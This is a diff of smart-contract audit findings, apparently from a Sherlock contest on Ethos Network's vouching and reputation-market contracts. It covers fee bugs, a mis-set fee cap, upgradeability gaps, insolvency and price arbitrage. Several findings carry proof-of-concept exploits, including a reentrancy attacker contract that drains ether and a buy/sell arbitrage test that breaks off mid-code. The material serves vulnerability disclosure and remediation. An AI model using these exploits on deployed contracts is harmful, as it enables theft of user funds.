+# Wrong fee calculation and distribution when creating or increasing a Vouch + +### Summary + +Wrong fee calculation and distribution when creating or increasing a Vouch + +### Root Cause + +In EthosVouch.sol, when a Vouch is created or increased, applyFees() function is used to calculate how much goes to Vouch's balance and how much is distributed in fees (protocolFee, donationFee and vouchersPoolFee). However, because of the used method to calculate them fees are not correctly calculated, distributed fees are always higher than what they should and therefore the balance despoited to the Vouch is lower than expected. + +This happens because each applyFees() uses _calcFee() function, which takes the total and feeBP as parameters and returns what amount from that total is to be deposited and what is to be distributed as fees. This would work if only one fee existed, but in this case there are 3 different fees. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965 + + + +### Attack Path + +A voucher creates a new Vouch for a given subjectProfileId. The value sent is 1 ETH (10**18 wei). Let's say protocolFee, donationFee and vouchersPoolFee are 200, 300 and 500 BP respectively. With this inputs, the returned result by applyFees() function is: +toDeposit = 903646895651464468 +totalFees = 96353104348535532 + +Let's calculate the value of each fee from 96353104348535532: +protocolFee = 96353104348535532 * 200 / (200+300+500) = 19.270.620.869.707.106 +donationFee = 96353104348535532 * 300 / (200+300+500) = 28.905.931.304.560.659 +protocolFee = 96353104348535532 * 500 / (200+300+500) = 48.176.552.174.267.766 + +Let's now calculate each fee from toDeposit amount and the fee in BP: +protocolFee = 903646895651464468 * 200 / 10000 = 18.072.937.913.029.289 +donationFee = 903646895651464468 * 300 / 10000 = 27.109.406.869.543.934 +protocolFee = 903646895651464468 * 500 / 10000 = 45.182.344.782.573.223 + +As you can see, each fee is a 6,6% higher to the expected value, making the balance of the Vouch receive less value than what it should. This can be verified quickly if total fee is calculated, in this case it would be 200+300+500 = 1000 BPS (10%). Now we check if totalFees is 10% of toDeposit: 903646895651464468 * 10 / 100 = 90364689565146446, which is clearly lower than real distributed fees: 96353104348535532. + +### Impact + +Vouch balance receives a lower amount than it should, and therefore distributed value for the three mentioned fees is higher. As a result, protocol, subjectProfileId and previous vouchers of subjectProfileId receive more fees than expected; while Vouch balance is increased less than expected. This will happen each time a Vouch is created or each time value is increased for a Vouch, giving an advantage to fee receivers and penalizing Vouches. + +### PoC + +Test this in Remix, import Math library from OZ. Non-relevant parts have been removed to focus on the calculation of fees. +``` solidity +contract Fees{ + uint public constant BASIS_POINT_SCALE = 10000; + uint public entryProtocolFeeBasisPoints = 200; + uint public entryDonationFeeBasisPoints = 300; + uint public entryVouchersPoolFeeBasisPoints = 500; + using Math for uint256; + + uint public constant ETH_VALUE = 1 ether; + + function applyFees( + uint256 amount + ) public view returns (uint256 toDeposit, uint256 totalFees) { + // Calculate entry fees so that amount is total sent value and amount * feeBP / 10000 = absolute fee. + //@audit summed fees are always less than expected because of the way they are calculated. + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + + } + + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) => total >= 10**14 + */ + return total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +}``` + +### Mitigation + +To make a fair disitribution of fees, first of all add all the fee values in BPs, then call calcFee() with that aggregated fee value to get the real amount to be distributed on fees. Finally distribute total fee value for each fee taking into account the weight of that fee. + +Example for our case => +totalFeeValue = 200+300+500 = 1000 BP. +calcFee(10**18, totalFeeValue) => toDeposit = 909090909090909090, totalFees = 90909090909090910 +protocolFee = 90909090909090910 * 200 / 1000 = 18.181.818.181.818.182 +donationFee = 90909090909090910 * 300 / 1000 = 27.272.727.272.727.273 +vouchersPoolFee = 90909090909090910 * 500 / 1000 = 45.454.545.454.545.455 + +You can now check that protocolFee is 2%, donationFee is 3% and vouchersPoolFee is 5% of toDeposit. \ No newline at end of file diff --git a/575.md b/575.md new file mode 100644 index 0000000..98d5d9e --- /dev/null +++ b/575.md @@ -0,0 +1,116 @@ +Faint Satin Yeti + +High + +# ReputationMarket::withdrawGraduatedMarketFunds is vulnerable to reentrancy and contract can be drained + +### Summary + +The following public function is vulnerable reentrancy. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678 + +### Root Cause + +The problem is that the function does not CEI pattern and the storage is updated last on line#677 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L677 + +### Internal pre-conditions + +The address approved with the `GRADUATION_WITHDRAWAL` permission has to to malicious. The address is trusted to graduate market and withdraw graduated funds. However, due to the vulnerability the address can drain the entire contract of ether which is severe since the funds for all voting markets are stored in the `ReputationMarket` contract. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The contract can be drained of all funds. + +### PoC + +This is a textbook reentrancy vulnerability but proof and for the sake of simplicity run the following test in remix +Here is the vulnerable function: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660C1-L678C4 + +Run the following test in Remix +1. First deploy the `ReentrantFunction` contract +2. Deploy the `MaliciousGraduatedMarketManager` contract +3. Call `ReentrantFunction::setUpTest` with 10 ether +4. Call the `MaliciousGraduatedMarketManager::attack` function +5. `MaliciousGraduatedMarketManager` contract will end up with 9 ether + +** Note ** +The `profileId = 1` and it legitimately has 1 ether of funds that need to be withdrawn. For simplicity code was commented out but it does not prevent the reentrancy since they don't update contract state. + +```solidity +// SPDX-License-Identifier: MIT + +contract ReentrantFunction { + mapping(uint256 profileId => uint256 funds) public marketFunds; +//send the function 10 ether to setup the test + function setUpTest() payable public { + uint256 profileId = 1; + marketFunds[profileId] = 1 ether; + } + + function withdrawGraduatedMarketFunds(uint256 profileId) public /* whenNotPaused */ { + /* address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } */ + + _sendEth(marketFunds[profileId]); + //emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } + + function _sendEth(uint256 amount) private { + (bool success,) = payable(msg.sender).call{value: amount}(""); + require(success, "ETH transfer failed"); + } +} + +contract MaliciousGraduatedMarketManager{ + ReentrantFunction repMarket; + + constructor(address _repMarket ){ + repMarket = ReentrantFunction(_repMarket); + } + + function attack() external { + repMarket.withdrawGraduatedMarketFunds(1); + } + + receive() payable external{ + if(address(repMarket).balance > 1 ether){ + repMarket.withdrawGraduatedMarketFunds(1); + } + } +} + + +``` + +### Mitigation + +Make the following changes: + +```diff ++ marketFunds[profileId] = 0; + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +- marketFunds[profileId] = 0; +``` \ No newline at end of file diff --git a/576.md b/576.md new file mode 100644 index 0000000..a891b44 --- /dev/null +++ b/576.md @@ -0,0 +1,74 @@ +Long Eggplant Eagle + +Medium + +# Admin can set more fee percentage than the one stated in the README. + +### Summary + +In the [README](https://audits.sherlock.xyz/contests/675?filter=questions), the protocol stated that the maximum total fees of both contract cannot exceed 10%. +```block +Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +... +For both contracts: +Maximum total fees cannot exceed 10% +``` + +This is not true in EthosVouch.sol, as the `MAX_TOTAL_FEES` variable is set to an incorrect amount. + +### Root Cause + +In EthosVouch.sol, the variable `MAX_TOTAL_FEES` is used in the [checkFeeExceedsMaximum()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) function, which restrict admins from setting a bigger fee percentage point than intended. + +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +However, the [variable](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) is set to `10000` basis points instead of `1000`. + +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +This allows the admin to set the fee basis point variables to exceed 10%, as the `BASIS_POINT_SCALE` is 10000. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin can set variables to collect excessive fees from user, more than what the protocol intended. + +### PoC + +_No response_ + +### Mitigation + +Fix the variable to reflect 10% and not 100% + +```diff + +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + + +``` \ No newline at end of file diff --git a/577.md b/577.md new file mode 100644 index 0000000..71d9ccd --- /dev/null +++ b/577.md @@ -0,0 +1,43 @@ +Magic Basil Caterpillar + +Medium + +# _checkProfileExists function unused + +### Summary + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057-L1069 +as said in comments it was suppose to be used as a check while creating market but it was not used, which will cause archived users to create a market + +### Root Cause + +not calling _checkProfileExists function while creating market + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +admin allowed a profileId to create market but after that user was archived. +protocol has the intention to not allow archived profileIds even though admin give permission to them. + +### Attack Path + +admin give permission to a verified profileId. +afterwards profileID was archived. +now according to protocol docs archived profiles can't involve in creating markets. +But user have archived profileId can create a market because createMarketWithConfig function was not internally calling _checkProfileExists to verify that given profileID was not (invalid or archived). +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L281-L293 + +### Impact + +ProfileId's which are archived are able to create markets.(which is not intended as per protocol docs) + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/578.md b/578.md new file mode 100644 index 0000000..f31425e --- /dev/null +++ b/578.md @@ -0,0 +1,68 @@ +Beautiful Chili Woodpecker + +Medium + +# Can increase vouch while paused + +### Summary + +`increaseVouch` is the only user-facing function that lacks `whenNotPaused` modifier. + +### Root Cause + +In EthosVouch.sol L426 there is a missing `whenNotPaused` modifier: +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426C1-L426C71 + +### Internal pre-conditions + +1. The user needs to have an active vouch. +2. Admin needs to pause the `EthosVouch` contract. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User A vouches for User B. +2. Admin pauses Vouch contract. +3. User A increases the vouch. + +### Impact + +The contract is supposed to be paused under critical conditions. Users should not be allowed to invoke functions that accept new monetary value into the contract. + +The real impact depends on the reason why the contract was paused but if it is due to serious issues discovered, the protocol should prevent users from interacting until fixes are introduced. + +### PoC + +```typescript + it('should not successfully increase vouch amount when paused', async () => { + const { vouchId, balance } = await userA.vouch(userB, { paymentAmount: initialAmount }); + + await deployer.interactionControl.contract + .connect(deployer.OWNER) + .pauseContract(smartContractNames.vouch); + + expect(await deployer.ethosVouch.contract.paused()).to.equal(true, 'Should be paused'); + + const protocolFeeAmount = calculateFee(increaseAmount, entryFee).fee; + const donationFeeAmount = calculateFee(increaseAmount, donationFee).fee; + const expectedDeposit = increaseAmount - protocolFeeAmount - donationFeeAmount; + + await deployer.ethosVouch.contract + .connect(userA.signer) + .increaseVouch(vouchId, { value: increaseAmount }); + + const finalBalance = await userA.getVouchBalance(vouchId); + expect(finalBalance).to.be.closeTo(balance + expectedDeposit, 1n); + }); +``` + +### Mitigation + +Add `whenNotPaused` to the `increaseVouch` function. \ No newline at end of file diff --git a/579.md b/579.md new file mode 100644 index 0000000..dc60eb4 --- /dev/null +++ b/579.md @@ -0,0 +1,62 @@ +Quaint Mulberry Mustang + +Medium + +# Corruptible Upgradeable Pattern + +### Summary + +`EthosVouch` and `ReputationMarket` are UUPSUpgradeable. However, the current implementation has multiple issues regarding upgradability. Additionally, the contract storage does not adhere to the EIP1967 proxy storage slot standard. The lack of gaps in the storage between the underlying contracts may lead to storage conflicts during upgrades. + +### Root Cause + +The Ethos contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. +[](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) + + +Following is the inheritance chain of the Ethos Contracts: + +```js +EthosVouch + ┌── AccessControl (includes IPausable, PausableUpgradeable, AccessControlEnumerableUpgradeable, SignatureControl) + ├── UUPSUpgradeable + ├── ITargetStatus + └── ReentrancyGuard + +ReputationMarket + ┌── AccessControl (includes IPausable, PausableUpgradeable, AccessControlEnumerableUpgradeable, SignatureControl) + ├── UUPSUpgradeable + └── ReentrancyGuard +``` + +In `AccessControl` and `SignatureControl` storage slots are present but there are no gaps implemented. + +Also, `EthosVouch` and `ReputationMarket` inherits the non-upgradeable version `ReentrancyGuard` from Openzeppelin's library, when it should use the upgradeable version(`ReentrancyGuardUpgradeable`) from [openzeppelin-contracts-upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable) lib. + +In upgradeable contracts, maintaining a consistent storage layout is critical to prevent issues during upgrades, as each contract upgrade relies on an unchanged storage structure to function correctly. The current implementation of `ReentrancyGuard` and missing `strorage gaps` does not adhere to the requirements for upgradeable contracts and can lead to storage clashes during upgrades. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +Admin Update the contract and modify the storage. + + +### Impact + +Storage of vault contracts might be corrupted during upgrading. + +### PoC + +_No response_ + +### Mitigation + +1. Add gaps in AccessControl, SignatureControl +2. Use library from Openzeppelin-upgradeable instead, e.g. `ReentrancyGuardUpgradeable` \ No newline at end of file diff --git a/580.md b/580.md new file mode 100644 index 0000000..239f38d --- /dev/null +++ b/580.md @@ -0,0 +1,44 @@ +Prehistoric Coal Unicorn + +Medium + +# Incorrect MAX_TOTAL_FEES value breaks core invariant of the protocol + +### Summary + +Incorrect MAX_TOTAL_FEES value breaks core invariant of the protocol + +### Root Cause + +According to docs: "For both contracts: Maximum total fees cannot exceed 10%." + +However, in EthosVouch.sol that invariant is no respected and the maximum total fees can be up to 100%, clearly breaking a main invariant of the protocol, as the limit is set to 10000 BPS. + +uint256 public constant MAX_TOTAL_FEES = 10000; + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +Even if Admin is a trusted address, this is still an issue because Admin expects that the fee modification will revert if total fee values exceeds 10%, making him not worry if the modification succeeds. However Admin could unconsciously set a value for fees which exceeds 10% maximum and he will not be aware of that, as the change succeeded. + +### Attack Path + +Current fee values for protocolFeeBasisPoints, donationFeeBasisPoints, entryVouchersPoolFeeBasisPoints and exitFeeBasisPoints are 200, 250, 250 and 250 respectively. Because of Ethos protocol is really demanded the protocolFeeBasisPoints is updated to 400 BP, checkFeeExceedsMaximum() function is called and as the new fee total value does not exceed 10000, the change is correctly applied. + +However, fee total value has exceeded the 1000 BPS limit established as invariant for the protocol, breaking with the invariant as Admin is not aware of this. + +### Impact + +Fee total value will exceed the limit imposed by Ethos protocol rules, breaking a core invariant of the protocol and making protocol charge an aggregated higher amount of fees than it should when creating, increasing value or unvouching a Vouch. + +### PoC + +_No response_ + +### Mitigation + +Change the limit for maximum fee total value: + +```solidity +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/581.md b/581.md new file mode 100644 index 0000000..3c8f27a --- /dev/null +++ b/581.md @@ -0,0 +1,256 @@ +Fit Lavender Cobra + +High + +# Inclusion of fees in `marketFunds` leads to insolvent market operations + +### Summary + +In the `MarketReputation` contract, fees for market operations (protocol and donation fees) are accounted for as part of the `marketFunds`. However, these fees are transferred out during the `buyVotes` operation (protocol fees are sent immediately, and donation fees are escrowed). This creates a mismatch between the marketFunds balance and the actual ETH liquidity available for market operations. This inconsistency can lead to insolvency during other operations like `sellVotes` or fund withdrawals for graduated markets. + +Therefore, improper handling of funds within `ReputationMarket`’s vote trading logic causes insolvency across markets, preventing proper operation and graduation of these markets. This results in a cascading failure as `ReputationMarket`’s design fails to account for cases where user transactions deplete the market’s balance below liabilities. + +### Root Cause + + - In the `buyVotes` function: + - Fees (`protocolFee` and `donation`) are calculated ([here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960)) and then processed via `applyFees` (see [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L464)), which transfers protocol fees to `protocolFeeAddress` and updates `donationEscrow`. + - Despite this, the total fees are added to `fundsPaid` ([here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978)) and subsequently to the `marketFunds` mapping ([here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481)). + + - In subsequent operations (`sellVotes` and `withdrawGraduatedMarketFunds`), `marketFunds` is relied upon to determine available funds, leading to incorrect assumptions about solvency. + +### Internal pre-conditions + + 1. Admin needs to configure protocol fees and donation fee, setting up the vulnerable state. + 2. Users buy votes, causing a mismatch between market liabilities and the contract’s available funds. + 3. (optional) Users withdraw donations, reducing the available funds further. + 4. (optional) Admin calls `graduateMarket()`, which exacerbates insolvency by redistributing funds from the insolvent market. + +### External pre-conditions + +No conditions + +### Attack Path + + 1. A user calls `buyVotes()` on a profile, depleting funds in `ReputationMarket` without verifying solvency. + 2. The user calls `withdrawDonations()` to remove additional funds from the contract, leaving the market insolvent. + 3. Admin calls `graduateMarket()` for the insolvent profile, triggering cascading insolvency in connected markets: + - Remaining markets cannot graduate (`graduateMarket()` reverts). + - Users cannot sell votes in connected markets due to insufficient funds (`sellVotes()` reverts). + 4. Attempts to withdraw funds post-graduation (`withdrawGraduatedMarketFunds()`) result in ETH transfer failures. + +### Impact + + - Affected Party: `ReputationMarket` users, including vote buyers, sellers, and market participants. + - Loss: Users cannot perform basic actions like selling votes or withdrawing market funds, effectively locking their assets. + - Systemic Risk: Cascading insolvency across markets disrupts the protocol’s trust model. + + +### PoC + +The provided PoC demonstrates the issue through Hardhat tests, validating insolvency scenarios. Key points: + 1. Users create markets and execute actions (buy votes, withdraw donations). + 2. Fund balances and liabilities are checked, showing mismatches after operations. + 3. Admin attempts to graduate and withdraw funds from insolvent markets, leading to reverts or systemic failures. + +Code excerpt: +Add this code to a new file under `ethos/packages/contracts/test/reputationMarket/rep.insolvency.poc.test.ts`, run using this: +```bash +cd packages/contracts +npm run hardhat test test/reputationMarket/rep.insolvency.poc.test.ts +``` +Test case (Hardhat): +```ts +import { type HardhatEthersSigner } from '@nomicfoundation/hardhat-ethers/signers.js'; +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('POC: ReputationMarket Insolvency', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let ethosUserB: EthosUser; + let userA: MarketUser; + let userB: MarketUser; + let reputationMarket: ReputationMarket; + let protocolFeeAddress: string; + let graduator: HardhatEthersSigner; + + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('2000'); + ethosUserB = await deployer.createUser(); + await ethosUserB.setBalance('2000'); + + userA = new MarketUser(ethosUserA.signer); + userB = new MarketUser(ethosUserB.signer); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']); + + // set fees to max (10%) + protocolFeeAddress = ethers.Wallet.createRandom().address; + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(500); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(500); + + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(ethosUserA.signer.address, 0, { + value: DEFAULT.initialLiquidity, + }); + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(ethosUserB.signer.address, 0, { + value: DEFAULT.initialLiquidity, + }); + + + graduator = deployer.ADMIN; + }); + + describe('Market Insolvency', () => { + it('ReputationMarket is insolvent after users buy then sell votes', async () => { + // validate that there is no insolvet at start + let reputationMarketBalance = await ethers.provider.getBalance(reputationMarket); + let marketFundsOfprofileA = await reputationMarket.marketFunds(ethosUserA.profileId); + let marketFundsOfprofileB = await reputationMarket.marketFunds(ethosUserB.profileId); + + expect(reputationMarketBalance).to.be.eq(marketFundsOfprofileA + marketFundsOfprofileB); + + // contract will be insolvent when user buying votes. + await userA.buyVotes({ profileId: ethosUserA.profileId, buyAmount: ethers.parseEther('100') }); + // await userA.sellVotes({ profileId: ethosUserA.profileId }); + + // validate contract insolvency + // all markets funds in the contract has value more than the current balance of the contract + reputationMarketBalance = await ethers.provider.getBalance(reputationMarket); + + marketFundsOfprofileA = await reputationMarket.marketFunds(ethosUserA.profileId); + marketFundsOfprofileB = await reputationMarket.marketFunds(ethosUserB.profileId); + const donationEscrowOfProfileA = await reputationMarket.donationEscrow(await ethosUserA.signer.getAddress()) + + + expect(reputationMarketBalance).to.be.lt(marketFundsOfprofileA + marketFundsOfprofileB + donationEscrowOfProfileA); + }); + + it('after user withdraw accumulated donations from escrow, market will not be able to graduate', async () => { + // contract will be insolvent when user buying votes. + await userA.buyVotes({ profileId: ethosUserA.profileId, buyAmount: ethers.parseEther('100') }); + + // withdraw accumulated donations from escrow + await userA.withdrawDonations(); + + + // graduate and withdraw an insolvent market will revert out of funds `ETH transfer failed` + await expect(reputationMarket.connect(graduator).graduateMarket(ethosUserA.profileId)) + .to.emit(reputationMarket, 'MarketGraduated') + .withArgs(ethosUserA.profileId); + + const tx = reputationMarket + .connect(graduator) + .withdrawGraduatedMarketFunds(ethosUserA.profileId); + + await expect(tx).to.be.revertedWith('ETH transfer failed'); + + }) + + it('after graduate an insolevent market, other markets users will not be able to sell', async () => { + await userB.buyVotes({ profileId: ethosUserB.profileId, isPositive: true, buyAmount: ethers.parseEther('10') }); + + // market will be insolvent when user buying votes, then graduate. + await userA.buyVotes({ profileId: ethosUserA.profileId, buyAmount: ethers.parseEther('100') }); + + // graduate and withdraw an insolvent market, will make other market insolvent too + const funds = await reputationMarket.marketFunds(ethosUserA.profileId); + await expect(reputationMarket.connect(graduator).graduateMarket(ethosUserA.profileId)) + .to.emit(reputationMarket, 'MarketGraduated') + .withArgs(ethosUserA.profileId); + + const tx = await reputationMarket + .connect(graduator) + .withdrawGraduatedMarketFunds(ethosUserA.profileId); + + await expect(tx) + .to.emit(reputationMarket, 'MarketFundsWithdrawn') + .withArgs(ethosUserA.profileId, graduator.address, funds); + + + // sell transaction will revert since the contract dose not has enough funds to cover + const votesOfUserB = await reputationMarket.getUserVotes( + await userB.signer.getAddress(), + ethosUserB.profileId, + ); + + const selltx = userB.sellVotes({ profileId: ethosUserB.profileId, sellVotes: votesOfUserB.trustVotes}); + await expect(selltx).to.be.revertedWith('ETH transfer failed'); + + // validate + let reputationMarketBalance = await ethers.provider.getBalance(reputationMarket); + let marketFundsOfprofileB = await reputationMarket.marketFunds(ethosUserB.profileId); + expect(reputationMarketBalance).to.be.lt(marketFundsOfprofileB); + }); + + + it('after graduate an insolevent market, other markets will not be able to graduate', async () => { + await userB.buyVotes({ profileId: ethosUserB.profileId, isPositive: true, buyAmount: ethers.parseEther('10') }); + + // market will be insolvent when user buying votes + await userA.buyVotes({ profileId: ethosUserA.profileId, buyAmount: ethers.parseEther('100') }); + + // graduate and withdraw an insolvent market, will make other market insolvent too + let funds = await reputationMarket.marketFunds(ethosUserA.profileId); + await expect(reputationMarket.connect(graduator).graduateMarket(ethosUserA.profileId)) + .to.emit(reputationMarket, 'MarketGraduated') + .withArgs(ethosUserA.profileId); + + const txA = await reputationMarket + .connect(graduator) + .withdrawGraduatedMarketFunds(ethosUserA.profileId); + + await expect(txA) + .to.emit(reputationMarket, 'MarketFundsWithdrawn') + .withArgs(ethosUserA.profileId, graduator.address, funds); + + // other market will not be able to graduate + funds = await reputationMarket.marketFunds(ethosUserB.profileId); + await expect(reputationMarket.connect(graduator).graduateMarket(ethosUserB.profileId)) + .to.emit(reputationMarket, 'MarketGraduated') + .withArgs(ethosUserB.profileId); + + const txB = reputationMarket + .connect(graduator) + .withdrawGraduatedMarketFunds(ethosUserB.profileId); + + await expect(txB).to.be.revertedWith('ETH transfer failed'); + + }); + }); +}); +``` + +### Mitigation + + +Exclude Fees from `marketFunds`, modify `buyVotes` to exclude protocolFee and donation from marketFunds: + +```solidity +marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/582.md b/582.md new file mode 100644 index 0000000..266a394 --- /dev/null +++ b/582.md @@ -0,0 +1,40 @@ +Bald Lace Cyborg + +Medium + +# total fees can go beyond 10% due to wrong initialization of variable MAX_TOTAL_FEES + +### Summary + +In readme "Maximum total fees cannot exceed 10%" is there, but while initializing it is wrongly initialised to 100%. +So in the function checkFeeExceedsMaximum(), total fees > MAX_TOTAL_FEES is checked. + +so it go beyond 10% as MAX_TOTAL_FEES is set to 10000. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +MAX_TOTAL_FEES should be set to 1000 and not 10000 \ No newline at end of file diff --git a/583.md b/583.md new file mode 100644 index 0000000..1504156 --- /dev/null +++ b/583.md @@ -0,0 +1,123 @@ +Proud Chartreuse Whale + +High + +# Flawed formula for calculating vote price allows for stealing funds from the protocol + +### Summary + +The votePrice calculation formula used by ReputationMarket.sol is flawed and enables attackers to drain funds from the protocol. + +### Root Cause + +For any sustainable pricing formula, the requirement is that instant buy/sell arbitrage should not exist ie. one must not be able to buy x amount and instantly sell x amount at a profit. The used formula here is flawed and allows an attacker to buy x items at a lower price and sell x items at a higher price instantly by varying the order of buying and selling + + +```Solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923) + + + +### Attack Path + +Attacker buys 50 Trust and 50 Distrust tokens in an alternating manner ie. buy 1 Trust token, buy 1 Distrust token, buy 1 Trust token etc. Attacker has to spend 2.451308104035652034 eth for this (in the poc) + +Attacker then sells 50 Trust tokens followed by selling of 50 Distrust tokens. Attacker obtains 3.093972758933192945 eth for this (in the poc) + +In this way the totalSell amount can be made higher than the totalBuy amount and can drain the protocol funds + +### Impact + +Current votePrice calculation is flawed and can be exploited using the above mentioned attack path and attackers can drain the protocol funds. + +### PoC + +```Solidity +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; + +contract EthosSellBuyPOCTest is Test { + uint256 TRUST = 1; + uint256 DISTRUST = 0; + + struct Market { + uint256[2] votes; + uint256 basePrice; + } + + function _calcVotePrice(Market memory market, bool isPositive) private returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } + + function _calculateBuy(Market memory market, bool isPositive, uint256 amount) private returns (uint256 fundsPaid) { + uint256 votePrice = _calcVotePrice(market, isPositive); + + + + for (uint256 i = 0; i < amount; i++) { + fundsPaid += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + + return fundsPaid; + } + + function _calculateSell(Market memory market, bool isPositive, uint256 amount) + private + returns (uint256 